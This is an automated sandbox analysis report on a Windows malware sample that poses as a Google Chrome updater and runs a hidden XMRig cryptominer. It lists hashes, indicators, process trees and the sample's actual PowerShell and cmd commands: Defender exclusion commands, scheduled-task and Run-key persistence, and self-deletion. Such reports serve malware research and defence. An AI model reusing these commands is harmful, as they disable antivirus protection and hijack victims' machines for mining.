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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
1725s -
max time network
1804s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
24/10/2024, 20:08
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20241023-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240708-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240708-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20241010-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20241010-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2376 created 1268 2376 qM5GMXBk6hJE6Y5e (19).exe 20 PID 2376 created 1268 2376 qM5GMXBk6hJE6Y5e (19).exe 20 PID 2376 created 1268 2376 qM5GMXBk6hJE6Y5e (19).exe 20 PID 2376 created 1268 2376 qM5GMXBk6hJE6Y5e (19).exe 20 PID 2116 created 1268 2116 updater.exe 20 PID 2116 created 1268 2116 updater.exe 20 PID 2116 created 1268 2116 updater.exe 20 PID 2116 created 1268 2116 updater.exe 20 PID 2496 created 1268 2496 conhost.exe 20 PID 2116 created 1268 2116 updater.exe 20 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral9/memory/820-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/820-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 576 powershell.exe 2044 powershell.exe 2796 powershell.exe 2988 powershell.exe -
Deletes itself 1 IoCs
pid Process 2892 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2116 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2700 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2116 set thread context of 2496 2116 updater.exe 47 PID 2116 set thread context of 820 2116 updater.exe 54 -
resource yara_rule behavioral9/memory/820-44-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/820-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (19).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1280 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c06798686026db01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2800 schtasks.exe 2848 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2376 qM5GMXBk6hJE6Y5e (19).exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2044 powershell.exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2796 powershell.exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2376 qM5GMXBk6hJE6Y5e (19).exe 2704 powershell.exe 2116 updater.exe 2116 updater.exe 576 powershell.exe 2116 updater.exe 2116 updater.exe 2988 powershell.exe 2116 updater.exe 2116 updater.exe 2116 updater.exe 2116 updater.exe 2496 conhost.exe 2496 conhost.exe 2116 updater.exe 2116 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2044 powershell.exe Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe Token: SeDebugPrivilege 576 powershell.exe Token: SeDebugPrivilege 2988 powershell.exe Token: SeDebugPrivilege 2116 updater.exe Token: SeAssignPrimaryTokenPrivilege 1280 WMIC.exe Token: SeIncreaseQuotaPrivilege 1280 WMIC.exe Token: SeSecurityPrivilege 1280 WMIC.exe Token: SeTakeOwnershipPrivilege 1280 WMIC.exe Token: SeLoadDriverPrivilege 1280 WMIC.exe Token: SeSystemtimePrivilege 1280 WMIC.exe Token: SeBackupPrivilege 1280 WMIC.exe Token: SeRestorePrivilege 1280 WMIC.exe Token: SeShutdownPrivilege 1280 WMIC.exe Token: SeSystemEnvironmentPrivilege 1280 WMIC.exe Token: SeUndockPrivilege 1280 WMIC.exe Token: SeManageVolumePrivilege 1280 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1280 WMIC.exe Token: SeIncreaseQuotaPrivilege 1280 WMIC.exe Token: SeSecurityPrivilege 1280 WMIC.exe Token: SeTakeOwnershipPrivilege 1280 WMIC.exe Token: SeLoadDriverPrivilege 1280 WMIC.exe Token: SeSystemtimePrivilege 1280 WMIC.exe Token: SeBackupPrivilege 1280 WMIC.exe Token: SeRestorePrivilege 1280 WMIC.exe Token: SeShutdownPrivilege 1280 WMIC.exe Token: SeSystemEnvironmentPrivilege 1280 WMIC.exe Token: SeUndockPrivilege 1280 WMIC.exe Token: SeManageVolumePrivilege 1280 WMIC.exe Token: SeLockMemoryPrivilege 820 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2796 wrote to memory of 2800 2796 powershell.exe 33 PID 2796 wrote to memory of 2800 2796 powershell.exe 33 PID 2796 wrote to memory of 2800 2796 powershell.exe 33 PID 2892 wrote to memory of 2804 2892 cmd.exe 38 PID 2892 wrote to memory of 2804 2892 cmd.exe 38 PID 2892 wrote to memory of 2804 2892 cmd.exe 38 PID 2704 wrote to memory of 2664 2704 powershell.exe 39 PID 2704 wrote to memory of 2664 2704 powershell.exe 39 PID 2704 wrote to memory of 2664 2704 powershell.exe 39 PID 2700 wrote to memory of 2116 2700 taskeng.exe 41 PID 2700 wrote to memory of 2116 2700 taskeng.exe 41 PID 2700 wrote to memory of 2116 2700 taskeng.exe 41 PID 2988 wrote to memory of 2848 2988 powershell.exe 46 PID 2988 wrote to memory of 2848 2988 powershell.exe 46 PID 2988 wrote to memory of 2848 2988 powershell.exe 46 PID 2116 wrote to memory of 2496 2116 updater.exe 47 PID 1704 wrote to memory of 1280 1704 cmd.exe 52 PID 1704 wrote to memory of 1280 1704 cmd.exe 52 PID 1704 wrote to memory of 1280 1704 cmd.exe 52 PID 2116 wrote to memory of 820 2116 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1268
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2376
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2800
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2664
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2804
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2848
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2496
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1280
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3012
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:820
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C:\Windows\system32\taskeng.exetaskeng.exe {1BA0BDDC-C0FA-4EF0-8D7B-019C0547E376} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4WDXVY25UH08SAHUJNAH.temp
Filesize7KB
MD523622e25299293fcc9ac5820b0828c22
SHA1219904ef879f5c4cb4e1ea46d2f6f8efca03adfb
SHA256593e12ef5fbebf025d2f23d5f24dae5a80c3c680408d7a3cddbcb955297a5398
SHA512d8f4e347a5b6759dc9ffcf0523d16902f424a7581ed09ffa7355329331cd6001e8fa654e0ad165c148fb839935fec16b1a72d359e3c2c80e99ea156e95023d6d